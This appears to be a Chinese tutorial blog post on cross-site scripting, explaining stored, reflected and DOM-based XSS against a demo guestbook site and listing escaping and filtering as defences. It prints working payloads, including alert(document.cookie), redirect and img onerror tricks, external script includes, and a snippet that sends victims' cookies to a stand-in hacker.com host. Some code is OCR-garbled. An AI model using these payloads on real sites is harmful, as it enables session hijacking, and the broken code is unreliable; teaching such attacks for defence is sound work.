Web应用安全-跨站脚本攻击(XSS)(1)

1跨站脚本攻击(XSS)

1.1简介

XSS: Cross Site Scripting,为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
在一开始的时候, 这种攻击的演示案例是跨域的,所以叫”跨站脚本"。
但是发展到今天,优于JavaScript的强大功能基于网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,XSS这个名字一直保留下来。
XSS长期以来被列为客户端Web安全中的头号大敌。因为XSS破坏力强大,且产生的场景复杂,难以一次性解决。
现在业内达成的共识是:针对各种不同场景产生的XSS,需要区分情景对待。
攻击原理:
XSS的原理是WEB应用程序混淆了用户提交的数据和IS脚本的代码边界,导致浏览器把用户的输入当成了JS代码来执行。
XSS攻击演示:
(1)通过页面插入留言信息

<body>
	<form action="/1m/add" method="post">
		<input name-="content"/>
		<input type="submit" value="留言"/>
	</form>
</body>

在这里插入图片描述

(2)页面展示

<body>
	<table>
		<thead>
			<th>序号</th>
			<th>留言</th>
			<th>时间</th>
			</thead>
			<tbody>
			<tr th:each="1m,stat:${list}">
			<td th:text="${1m['id']}"> </td>
			<td th:utext="${1m['content']}"> </td>
			<td th:text="${1m[" date']}"> </td>
			</tr>
		</tbody>
	</table>
</body>

在这里插入图片描述
(3)测试(alert 可弹出隐私信息:Cookie、session等信息)

正常(网站留言输入内容):
窗前明月光,我是郭德纲

恶意脚本植入:

<!--恶意脚本植入-->
<script>alert('heylyou are attacked'); </script>

在这里插入图片描述
列表页刷新会出现弹窗:
在这里插入图片描述
alert(‘heylyou are attacked’);
在这里插入图片描述

劫持流量实现恶意跳转:

<!-劫持流量实现恶意跳转-->
<script>window. location. href=' http: //www. baidu. com' </script>
<img src="a. jpg" onerror="alert(' Attack')"/>

在这里插入图片描述
点击进入列表页刷新(会跳入到百度页面):
在这里插入图片描述

<img src="a. jpg" onerror="alert(' Attack')"/>

在这里插入图片描述
弹出:
在这里插入图片描述

导致xss攻击根本原因:数据和代码分离原则
你期望输入的是数据,而攻击者实际输入的是代码。

防御手段:
输入:校验、转义
输出:转义、过滤

1.2 XSS攻击

●存储型XSS(存储在数据库中,长期优效-持久化,)
●反射型XSS(非持久)
●DOM型XSS(非持久)

1.存储型XSS

存储型XSS,也就是持久型XSS。攻击者上传的包含恶意S脚本的信息被Web应用程序保存到数据库中,Web应用程序在生成新的页面的时候如果包含了该恶意JS脚本,这样会导致所有访问该网页的浏览器解析执行该恶意脚本。这种攻击类型-般常见在博客、论坛等网站中。

  • 存储型是最危险的一种跨站脚本,比反射性XSS和Dom型XSS都更有隐蔽性。
  • 因为它不需要用户手动触发,任何允许用户存储数据的web程序都可能存在存储型XSS漏洞。
  • 若某个页面遭受存储型XSS攻击,所有访问该页面的用户会被XSS攻击。
    在这里插入图片描述
    攻击步骤:
    1.攻击者把恶意代码提交到目标网站的数据库中
    2.用户打开目标网站,网站服务端把恶意代码从数据库中取出,拼接在HTML上返回给用户
    3.用户浏览器接收到响应解析执行,混在其中的恶意代码也被执行
    4.恶意代码窃取用户敏感数据发送给攻击者,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
    存储型XSS(又被称为持久性XSS)攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信、留言等功能。
(1)简单攻击:
<script>alert('he1lo' );</script> 
(2)获取cookie信息:
<script>alert(document . cookie)</script>

在这里插入图片描述
在这里插入图片描述
可以直接将这些重要信息发送到黑客那(cookie、session等用户凭证信息),黑客可以用这些信息在不输入用户名、密码等信息的前提下,直接登录的一种情况

(3)黑客窃取cookie:

流程:
在这里插入图片描述

用户窃取cookie,具体实现就是将用户的cookie值发送到黑客工具箱,那么就需要将窃取用户cookie的js植入到系统中。考虑到窃取用户的js脚本过长不宜直接编写脚本植入,可以通过外部脚本的方式实现。为跳过用户表单输入框长度限制可以考虑使用短连接。
短网址生成: htp://tool.chinaz.com/tools/dwz.aspx

在这里插入图片描述

<script src="http: //www. hacker . com/script/hacker. js"></script>
<script src="https: //4m. cn/a16oe"></script>

窃取失败:
Access to XMLHttpRequest at‘xxxxx’ from origin tp:/www.edu.com’ has been blocked by CORS policy: No ‘Access-Control-Allow-Origin’ header is present
on the requested resource.

(4)绕过浏览器同源策略:

图片可以加载外部的数据源

(function () {
    
    
(new ImageO)).src = http://ww. hacker. com/h?c='rt
escape("ur1=" + document. location. href) +
escape(' &cookie=' + document. cookie);
})();
<script src="http://www. hacker . com/script/hacker2. js"></script>

访问黑客工具箱: htp:/www.hacker.com/g

(5)通过cookie入侵

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

2.反射型XSS

反射型XSS,又称非持久型XSS, 恶意代码并没有保存在目标网站,而是通过引诱用户点击一个恶意链接来实施攻击。 这类恶意链接有哪些特征呢?
主要有:
●恶意脚本附加到url中,只有点击此链接才会引起攻击
●不具备持久性,即只要不通过这个特定url访问,就不会有问题
●xss漏洞一般发生于与用户交互的地方
演示连接: http://www.edu.com/reflecxss?reflectxss=
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

(1)正常处理
http: //www. edu. com/reflectxss?reflectxss=hello
(2)脚本入侵
http: /www. edu. com/reflectxss?reflectxss-<script>alert('hello )</script>
(3)获取cookie
<!--如果已经登录-->
http: //www. edu. com/reflectxss?reflectxss=<script>alert(document . cookie)</script>
(4)构造DOM
http: /www. edu. com/reflectxss?reflectxss=<input type="button" value="登录"/>

在这里插入图片描述

3. DOM型XSS

DOM (Document Object Model) , DOM型XSS其实是一种特殊类型的反射型XSS (不存储),它是基于DOM文档对象模型的一种漏洞,而且不需要与服务器进行交互(不处理) .
客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
演示连接: htp://www.edu.com/domxss.html?domxsseparamvalue
在这里插入图片描述

(1)正常处理
http: //www. edu. com/ domxss . html?domxss=helloworld

在这里插入图片描述

(2)脚本入侵,未遂
http://www. edu. com/domxss . html?domxss=<script>alert( 'lagou')</scripty>

在这里插入图片描述

使用innerHTML获得的IS代码是不能被执行的,JS只有在页面初次加载的时候才有效

(3)构造DOM
http: //www. edu. com/ domxss。htm1 ?domxss=<input type= "button" value="登录"/>

在这里插入图片描述

(4)构造DOM
http://www. edu. com/ domxss . htm1?domxss=<input type="button" value= ”登录" onClick="alert(document . cookie)"/>
(5)利用img标签
http: /www. edu. com/ domxss . html?domxss=<img src= 'http: /www. hacker . com/attack. jpg' onerror=' alert(110)'/>

如果图谱加载不到,就会执行 onerror方法
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_31686241/article/details/125707092